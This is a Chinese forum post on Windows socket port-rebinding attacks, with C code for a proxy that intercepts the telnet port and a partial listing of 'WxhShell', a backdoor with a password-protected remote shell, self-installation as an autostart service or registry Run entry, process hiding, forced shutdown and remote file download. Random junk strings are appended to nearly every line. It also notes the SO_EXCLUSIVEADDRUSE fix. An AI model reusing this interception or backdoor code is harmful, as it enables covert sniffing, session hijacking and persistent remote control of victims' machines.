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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B#QL M^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [z^Od  
!ZX&r{pJp  
  saddr.sin_family = AF_INET; #s*k| j}  
}iMXXXBOT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K[e`t%2_  
xUIvLH=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gt~9"I  
e~3]/BL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @`5QG2  
KM5jl9Vv  
  这意味着什么?意味着可以进行如下的攻击: <>VID E  
Qg[heND  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?vMK'"  
 8>ESD}(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xC'mPcU8  
t?KUK>>w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ::v;)VdX+*  
Z>X9J(=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aXX,Zu^  
4{Q$!O>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Wux0RF&  
zaH 5 Km_j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :,jPNuOA  
9U&~(;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o1Ne+Jt  
=[s8q2V  
  #include ix:2Z-  
  #include 33*^($bE&  
  #include E N)YoVk  
  #include    KuIkul9^%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E2h(w_l  
  int main() y2U/$%B)G  
  { : 2_ 0L  
  WORD wVersionRequested; y:~eU  
  DWORD ret; ,|6Y\L  
  WSADATA wsaData; 6BUBk>A`  
  BOOL val; uFz/PDOZ@  
  SOCKADDR_IN saddr; JvKO $^  
  SOCKADDR_IN scaddr; *@CVYJ'<  
  int err; ?){0-A4  
  SOCKET s; cLn;,u4  
  SOCKET sc; H3!,d`D.N  
  int caddsize; _MGNKA6JI  
  HANDLE mt; ;9}w|!/  
  DWORD tid;   _c[|@D  
  wVersionRequested = MAKEWORD( 2, 2 ); 3xRM 1GgO  
  err = WSAStartup( wVersionRequested, &wsaData ); n/xXQ7y  
  if ( err != 0 ) { 3Wjq>\  
  printf("error!WSAStartup failed!\n"); km9Gwg/zT  
  return -1; 5BrU'NF  
  } nWKO8C>  
  saddr.sin_family = AF_INET; "(Mvl1^BT  
   hT.4t,wa8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EV:_Kx8fP  
Vp|2wlFE-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yZ?xt'tn  
  saddr.sin_port = htons(23); JtSuD>H`"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @P*ylB}?Q  
  { ~o:rM/!Ba  
  printf("error!socket failed!\n"); =s`XZkh  
  return -1; P;^y|0N m  
  } J>&[J!>r  
  val = TRUE; O 5g}2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SL6mNn9c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xq+!eOT  
  { G%xb0%oi]%  
  printf("error!setsockopt failed!\n"); 2O?Vr" A  
  return -1; eLCdAr  
  } ll^Th >  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  C/SapX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sGXp}{E9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f1)HHUB  
F~tm`n8Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @~JB\j9  
  { 3yeK@>C  
  ret=GetLastError(); R1I I k  
  printf("error!bind failed!\n"); 2b; rr  
  return -1; CW.&Y?>Tv  
  } K4iI:  
  listen(s,2); eKL]E!  
  while(1) !x`;>0  
  { ,O$Z,J4VL  
  caddsize = sizeof(scaddr); Mi;}.K0J  
  //接受连接请求 =6.8bZT\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :&xz5c`"04  
  if(sc!=INVALID_SOCKET) 83mlZ1jQz  
  { NYWG#4D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m"96:v  
  if(mt==NULL) $Sp*)A]E`  
  { u)<Ysx8G  
  printf("Thread Creat Failed!\n"); !Sh^LYqn  
  break; h`z2!F4  
  } kqj;l\N  
  } < 8}KEe4  
  CloseHandle(mt); <f7?P Ad  
  } <9Lv4`]GU5  
  closesocket(s); 5W*7qD[m  
  WSACleanup(); O<}ep)mr  
  return 0; JoZqLy!@  
  }   &{X{36  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5F'%i;)oq  
  { Yh}zt H  
  SOCKET ss = (SOCKET)lpParam; aR`_h=a  
  SOCKET sc; EJ WOXxU  
  unsigned char buf[4096]; (%``EIc<8  
  SOCKADDR_IN saddr;  !7 ei1  
  long num; ( rA\_FOJ  
  DWORD val; Mfnlue](  
  DWORD ret; ^VSt9 &  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yw;ghP;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UN cYu9[  
  saddr.sin_family = AF_INET; ^n\9AE3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AZh@t?)  
  saddr.sin_port = htons(23); utYnaeQcn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZA *b9W  
  { 6Cz7A  
  printf("error!socket failed!\n"); <C7M";54-  
  return -1; 5*s1qA0^  
  } sN} s61  
  val = 100; O"_erH\nk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u Y?/B~  
  { qZT 4+&y  
  ret = GetLastError(); 3MNhH  
  return -1; 'Qm` A=  
  } '5|Q<5!o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CL)1Q  
  { vjexx_fq  
  ret = GetLastError(); hQgk.$g  
  return -1; FRl3\ZDqrb  
  } 'hwV   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U%mkhWn  
  { e%P+KX  
  printf("error!socket connect failed!\n"); 6F|Hg2tpz  
  closesocket(sc); DFt=%aV[  
  closesocket(ss); _hAj2%SL  
  return -1; 0EL\Hd  
  } c8bca`  
  while(1) 7\7Brw4  
  { yt/20a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6%\7.h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SREDM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tf&f`/  
  num = recv(ss,buf,4096,0); `jD8(}_  
  if(num>0) /|4Q9=  
  send(sc,buf,num,0); dWzDSlP&  
  else if(num==0) Bo\a  
  break; WUE)SVf  
  num = recv(sc,buf,4096,0); ^kCk^D-Gz  
  if(num>0) -XS+Uv  
  send(ss,buf,num,0); u)q2YLK8  
  else if(num==0) e3yorQ][  
  break; 5PPPd-'Z_  
  } _H~pH7WU  
  closesocket(ss); @Og\SZhn  
  closesocket(sc); @{J!6YGh  
  return 0 ; N.fQ7z=Z(M  
  } Hrd5p+j  
OPvj{Dv$0  
jRv;D#Hp  
========================================================== ?~VWW<lR  
-Z`(? k  
下边附上一个代码,,WXhSHELL 6=Y3(#Ddt  
c]AKeq]  
========================================================== B$}wF<`k7  
8! |.H p  
#include "stdafx.h" EmtDrx4!(f  
U~u6}s]:  
#include <stdio.h> dCf'\ @<<  
#include <string.h> Bo](n*i  
#include <windows.h> p`E|SNt/W  
#include <winsock2.h> f"5lOzj`C  
#include <winsvc.h> &y#\1K  
#include <urlmon.h> >5Q^9 9V  
(uuEjM$3%  
#pragma comment (lib, "Ws2_32.lib") Pi&fwGL  
#pragma comment (lib, "urlmon.lib") 5t"bCzp  
X7XCZSh#A  
#define MAX_USER   100 // 最大客户端连接数 zer&`Vr  
#define BUF_SOCK   200 // sock buffer m6~ sKJV  
#define KEY_BUFF   255 // 输入 buffer ?MV[=LPL  
tMD^$E"C  
#define REBOOT     0   // 重启 U<ku_(2"#  
#define SHUTDOWN   1   // 关机 -dc5D@4`#s  
Q{H!s_6iyv  
#define DEF_PORT   5000 // 监听端口 2 Ft0C2  
XhlI|h-j  
#define REG_LEN     16   // 注册表键长度 ;X*K*q  
#define SVC_LEN     80   // NT服务名长度 zumR(<l  
'mBLf&fB  
// 从dll定义API OEy:#9<'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sx)$=~o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KRnB[$3F1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  m+72C]9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z) ]BV=  
|!4B Wt  
// wxhshell配置信息 G<">/_jn  
struct WSCFG { z{D$~ ob  
  int ws_port;         // 监听端口 G:h;C].  
  char ws_passstr[REG_LEN]; // 口令 2g ?Jb5)  
  int ws_autoins;       // 安装标记, 1=yes 0=no =FtM;(\  
  char ws_regname[REG_LEN]; // 注册表键名 F- !}dzO  
  char ws_svcname[REG_LEN]; // 服务名 *7xQp!w^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +YQ)}v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #"=yQZ6Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nU?Xc(Xy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {L-{Y<fke  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wRV`v$*6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %mB!|'K%  
8r`VbgI&  
}; ]Vf8mkDGO  
M@!]U:5~V  
// default Wxhshell configuration YWcui+4p}  
struct WSCFG wscfg={DEF_PORT, &P,4EaC9;  
    "xuhuanlingzhe", =B/s H N  
    1,  2#$}yP~  
    "Wxhshell", QN2*]+/h  
    "Wxhshell", LhVLsa(-%  
            "WxhShell Service", DiGUxnP  
    "Wrsky Windows CmdShell Service", ^V XXq  
    "Please Input Your Password: ",  bbQ 10H  
  1, eSvc/CU  
  "http://www.wrsky.com/wxhshell.exe", ;4S [ba1/  
  "Wxhshell.exe" :r vO8.\  
    }; ) <}VP&:X  
hIzPy3  
// 消息定义模块 >"sKfiM)b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tg <>B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /_zF?5h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y>dg10=  
char *msg_ws_ext="\n\rExit."; B Z\EqB  
char *msg_ws_end="\n\rQuit."; W)$|Hm:H  
char *msg_ws_boot="\n\rReboot..."; *s<dgFA'  
char *msg_ws_poff="\n\rShutdown..."; lvz:UWo  
char *msg_ws_down="\n\rSave to "; 72 s$  
+X%fcoc  
char *msg_ws_err="\n\rErr!"; fUL{c,7xda  
char *msg_ws_ok="\n\rOK!"; U"%8"G0)  
35@Ibe~  
char ExeFile[MAX_PATH]; e%@[d<Ta\  
int nUser = 0; -?%{A%'  
HANDLE handles[MAX_USER]; M$>WmG1~D  
int OsIsNt; 1^WA  
&t.>^7ELF  
SERVICE_STATUS       serviceStatus; 8&2gM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _,K>u6N&  
Ro3I/NI>  
// 函数声明 HhQPgjZ/  
int Install(void); Tl/Dq(8JH  
int Uninstall(void); ^Lg{2hjj  
int DownloadFile(char *sURL, SOCKET wsh); soQv?4  
int Boot(int flag); !Lg}q!*%>V  
void HideProc(void); qG2\` +v  
int GetOsVer(void); E3.W#=o  
int Wxhshell(SOCKET wsl); 6Ymo%OT  
void TalkWithClient(void *cs); V)?x*R*T)  
int CmdShell(SOCKET sock); N?U&(@p  
int StartFromService(void); `M pC<sit  
int StartWxhshell(LPSTR lpCmdLine); 9%)& }KK|  
@=<TA0;LL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6q  xUT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oVuj020  
xt<, (4u  
// 数据结构和表定义 {7pE9R5  
SERVICE_TABLE_ENTRY DispatchTable[] = /bNVgK`L5  
{ L/ICFa.G  
{wscfg.ws_svcname, NTServiceMain}, t-<[._:+  
{NULL, NULL} 2Z IpzH/8  
}; <1'X)n&Kw$  
@=zBF'<.9  
// 自我安装 82@;.%  
int Install(void) 1Sc~Vb|>  
{ `bt)'ERO%#  
  char svExeFile[MAX_PATH]; .+JP tL  
  HKEY key; kmwrv -W  
  strcpy(svExeFile,ExeFile); L&gEQDPgq|  
k~9Ywf  
// 如果是win9x系统,修改注册表设为自启动 <GFB'`L  
if(!OsIsNt) { KAZkVL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7i|hlk;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tgF(=a]o  
  RegCloseKey(key); _6ax{:/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C5lD Hw[CX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^J5V!i$  
  RegCloseKey(key); S,<.!v57  
  return 0; nu<!2xs,  
    } EV7+u0uN&Q  
  } ,w58n%)H  
} kV(DnZ#jq  
else { A'AWuj\r2R  
d[Fr  
// 如果是NT以上系统,安装为系统服务 . =foXN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9q ,Jq B  
if (schSCManager!=0) )'I<xx'1  
{ PS<tS_.  
  SC_HANDLE schService = CreateService W-ND<=:Up  
  ( ,"MUfZ  
  schSCManager, buM>^A"  
  wscfg.ws_svcname, 3v3Va~fm`  
  wscfg.ws_svcdisp, 2.&V  
  SERVICE_ALL_ACCESS, 1oW]O@R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uA}FuOE6  
  SERVICE_AUTO_START, ?KuJs9SM  
  SERVICE_ERROR_NORMAL, fN%5D z-e  
  svExeFile, *1$~CC7  
  NULL, +fQ$~vr{'  
  NULL, ^5@"|m1  
  NULL, 7Caap/L:  
  NULL, H2_>Av{m  
  NULL Zz*mf+  
  ); [6gHi.`p'  
  if (schService!=0) .j<B5/+  
  { Hr,lA(  
  CloseServiceHandle(schService); ZxeE6&#M^w  
  CloseServiceHandle(schSCManager); ?bYQZJ>&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gl\{QcI8<  
  strcat(svExeFile,wscfg.ws_svcname); d=OO(sf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { om39;nk!}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N*oJ$:#  
  RegCloseKey(key); p YvF}8  
  return 0; Y&Vbf>Hi+  
    } mE@o27  
  } Pc ?G^ Xol  
  CloseServiceHandle(schSCManager); F1[ [fH  
} VKfHN_m*  
} /ykxVCvAt  
{kO:HhUg  
return 1; 4Jy,IKPp  
} j<-o{6r  
" 7g8 d  
// 自我卸载 V'hz1roe  
int Uninstall(void) !<^j!'2  
{ o|n0?bThS-  
  HKEY key;  hahD.P<  
 SSM> ID  
if(!OsIsNt) { :;u]Y7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UlZ)|Ya<M  
  RegDeleteValue(key,wscfg.ws_regname); [ Zqg"`  
  RegCloseKey(key); *8eh%3_$h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jP6G.aiO  
  RegDeleteValue(key,wscfg.ws_regname); tfIBsw.  
  RegCloseKey(key); B-p5;h>  
  return 0; K>JU/(  
  } kT=|tQ@  
} ' g!_Flk  
} NP`ll0s  
else { en6AAr:U}  
{ZI6!zh'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NbMH@6%E  
if (schSCManager!=0) tJfN6  
{ bD[W~ku  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hpe s  
  if (schService!=0) O.f3 (e!  
  { X?xm1|\  
  if(DeleteService(schService)!=0) { 4~MUc!  
  CloseServiceHandle(schService); NW Qu-]P  
  CloseServiceHandle(schSCManager); x(6.W"-S  
  return 0; A/6nV n  
  } m64\@ [  
  CloseServiceHandle(schService); ]`U?<9~Ob  
  } z#67rh {  
  CloseServiceHandle(schSCManager); 7uH{UpslJ  
} nE$ V<Co}  
} >a~FSZf  
(:k`wh&  
return 1; APm[)vw#f  
} FOyfk$  
BrmFwXLP"  
// 从指定url下载文件  xyCcd=  
int DownloadFile(char *sURL, SOCKET wsh) l zkn B  
{ 3nGK674;z  
  HRESULT hr; A^7Zy79  
char seps[]= "/"; Ev ,8?  
char *token; l_IX+4(@b|  
char *file; D\~$6#B>>  
char myURL[MAX_PATH]; o6%f%:&  
char myFILE[MAX_PATH]; ZlXs7 &_  
jl29~^@}1i  
strcpy(myURL,sURL); D)$k{v#~  
  token=strtok(myURL,seps); wpMQ 7:j  
  while(token!=NULL) Lh$ac-Ct  
  { ;] o^u.PC  
    file=token; j`hbQp\`  
  token=strtok(NULL,seps); I=I%e3GEm  
  } !t{!.  
*M5C*}dl  
GetCurrentDirectory(MAX_PATH,myFILE); uT2cHzqKB  
strcat(myFILE, "\\"); ;8kfgp M_  
strcat(myFILE, file); @}RyW&1Z  
  send(wsh,myFILE,strlen(myFILE),0); QCnVZ" !(  
send(wsh,"...",3,0); Y0'^S<ox  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?%n9g)>Yej  
  if(hr==S_OK) v)pWx0l=  
return 0; }('QIvq2  
else 6% axbB  
return 1; h"m7r4f  
(jMp`4P  
} ;:1mv  
OPh@H.)^  
// 系统电源模块 $$>,2^qr&L  
int Boot(int flag) 5< nK.i,  
{ 2Vr'AEIQ  
  HANDLE hToken; 2M`Ni&v  
  TOKEN_PRIVILEGES tkp; ^ZBkt7  
m>:ig\  
  if(OsIsNt) { nJw1Sl5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l,8| E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #r}c<?>Vw  
    tkp.PrivilegeCount = 1; (P_+m#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AIo;\35  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RH'R6  
if(flag==REBOOT) { J#nEGl|a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $o^}<)DW  
  return 0; B-zt(HG  
} L1+cv;t  
else { p gi7 JQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OQyOv%g5C  
  return 0; GQ8P}McA  
} pc>R|~J{2  
  } ;^]F~x}  
  else { SS-   
if(flag==REBOOT) { t?Znil|o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ymqhI\>y#  
  return 0; s#sX r  
} )E|Bb=%  
else { \NRRN eu|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nQC[[G*x  
  return 0; o!d0  
} rkp0ej2-  
} o)DKP>IM#  
JJa?"82FXZ  
return 1; i[ lH@fJm_  
} O%{>Zo_<  
],m-,K  
// win9x进程隐藏模块 }zi6F.  
void HideProc(void) ~yg9ZM  
{  _^ZII  
{:cA'6f.b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B dUyI_Ks:  
  if ( hKernel != NULL ) 6<R U~Gh  
  { &kt#p;/p?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VI{1SIhfa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +!wc(N[(2  
    FreeLibrary(hKernel); M,P_xkLp  
  } &v88x s  
b1"wQM9  
return; AmFHn  
} 48VsHqG  
I-I5^s  
// 获取操作系统版本 ;!b(b%  
int GetOsVer(void) FeJ5^Gh.  
{ s,8%;\!C  
  OSVERSIONINFO winfo; !LA#c'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IuL ]V TY  
  GetVersionEx(&winfo); u^$ CR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %8/$CR  
  return 1; x(Z@ R\C-a  
  else P7!Sc  
  return 0; 3m'6cMQ  
} BDg /pDnwg  
G<I5%Yo6G  
// 客户端句柄模块 WJWrLu92\U  
int Wxhshell(SOCKET wsl) NgQl;$  
{ w6tY6bf}  
  SOCKET wsh; A_+ WY|#M  
  struct sockaddr_in client; }#1{GhsS  
  DWORD myID; Q*5d~Yr]R  
|k0VJi  
  while(nUser<MAX_USER) V^D#i(5  
{ g}7B0 yo  
  int nSize=sizeof(client); 0%GWc}o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uB?YJf .T@  
  if(wsh==INVALID_SOCKET) return 1; TnrMR1Zx  
JP]K\nQx'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H+Wd#7l,  
if(handles[nUser]==0) ,b8AB_yw  
  closesocket(wsh); \v<}{\.|$  
else R:E:Y|&#  
  nUser++; LxO'$oKZV  
  } 0J" 3RTt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ? "gy`oCv  
\`^jl  
  return 0; )_ y{^kn3^  
} f$/D?q3N  
w>e OERZa  
// 关闭 socket okW3V}/x/z  
void CloseIt(SOCKET wsh) OkM>  
{ -llujB%;,e  
closesocket(wsh); ~Hq 2'  
nUser--; l#Tm`br  
ExitThread(0); }`X$ '  
} ?!ig/ufZ  
fHiCuF  
// 客户端请求句柄 mTt 9 o9E  
void TalkWithClient(void *cs) T &1sfS,  
{ E_z@\z MB  
Zo` ^pQS  
  SOCKET wsh=(SOCKET)cs; Cn,dr4J[  
  char pwd[SVC_LEN]; t t=$:}A  
  char cmd[KEY_BUFF]; t%%I.zIV7  
char chr[1]; `u-}E9{  
int i,j; n\ZFPXP  
&xVWN>bd^  
  while (nUser < MAX_USER) { Q'N<jX[  
j(SQNSFD  
if(wscfg.ws_passstr) { _i&\G}mrC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mnePm{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $T6<9cB@  
  //ZeroMemory(pwd,KEY_BUFF); >&TktQO_T  
      i=0; al2v1.Y}  
  while(i<SVC_LEN) { >wn&+%i&  
W^x[ma z  
  // 设置超时 @1pdyKK  
  fd_set FdRead; B3D4fYQ  
  struct timeval TimeOut; gm8H)y,  
  FD_ZERO(&FdRead); ^a]:GPc  
  FD_SET(wsh,&FdRead); nL$tXm-x  
  TimeOut.tv_sec=8; REw3>/=  
  TimeOut.tv_usec=0; >TE&myZ?*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); biJU r^n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %ug`dZ/  
5H79) n>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wNPZ[V:  
  pwd=chr[0]; |(/"IS]  
  if(chr[0]==0xd || chr[0]==0xa) { F"q3p4-<>  
  pwd=0; 1)%o:Xy o  
  break; 9}4L 8?2  
  } Lh+^GQ  
  i++; _CgD7d  
    } FvkKM+?F  
?TXFOr]g]2  
  // 如果是非法用户,关闭 socket b x@CzXre;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e'jR<ln|  
} 2`z+_DA  
E?;W@MJi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &,\S<B2.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U;^{uQJ+,  
3RD Q{&J:  
while(1) { .RT5sj\d  
5Hr"}|J<8  
  ZeroMemory(cmd,KEY_BUFF); v4&*iT  
5W'T7asOh  
      // 自动支持客户端 telnet标准   R_^:<F0  
  j=0; :( `Q4D~l  
  while(j<KEY_BUFF) { .{Xi&[jw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k~?@~xm,R  
  cmd[j]=chr[0]; @a~K#Bvlm  
  if(chr[0]==0xa || chr[0]==0xd) { h_cZ&P|  
  cmd[j]=0; 0I.7I#'3O  
  break; Yrd K@I  
  } 1.uyu  
  j++; 1*a2s2G '  
    } w<'mV^S  
<"t >!I  
  // 下载文件 'd28YjtoX  
  if(strstr(cmd,"http://")) { rlds-j''  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $FAl9  
  if(DownloadFile(cmd,wsh)) {u:DC4eut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGpaHY>My  
  else v/kYyz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eVy,7goh  
  } }NUP[%  
  else { 8T%z{A1T  
old}}>_  
    switch(cmd[0]) { xD~:= ]G  
  j3FDGDrg  
  // 帮助 (BJs6":BFe  
  case '?': { # wG}T .*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WB= gN:?  
    break; S]<Hx_[}  
  } NZ Xmrc{S  
  // 安装 :+u?A  
  case 'i': { b&!X#3(KT  
    if(Install()) $idYG<],  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)1u  
    else k: c)|2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !7_Q_h',  
    break; 5T,`j=\  
    } l9-(ofY*J  
  // 卸载 d`Wd"LJ=  
  case 'r': { 1X=}  
    if(Uninstall()) Jo2:0<VL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s]}P jh8  
    else fHM<6i<C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /N~.,vf  
    break; c(@)V.o2  
    } E$RH+):|  
  // 显示 wxhshell 所在路径 xY@V.  
  case 'p': { ,3x3&c  
    char svExeFile[MAX_PATH]; oJ5V^.  
    strcpy(svExeFile,"\n\r"); "_9Dau$  
      strcat(svExeFile,ExeFile); &u.t5m7(  
        send(wsh,svExeFile,strlen(svExeFile),0); ]A'E61t<n  
    break; B[8  
    }  snX5mD  
  // 重启 mio\}S A  
  case 'b': { Ru2kC} Dx!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =n9|r.\&uJ  
    if(Boot(REBOOT)) / S]<MS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BaqRAO7  
    else { n&&X{Rl  
    closesocket(wsh); o@"H3 gz  
    ExitThread(0); G !wFG-Y}  
    } X+iUT  
    break; b^rPw@  
    } _%Jqyc"-  
  // 关机 INi(G-!g  
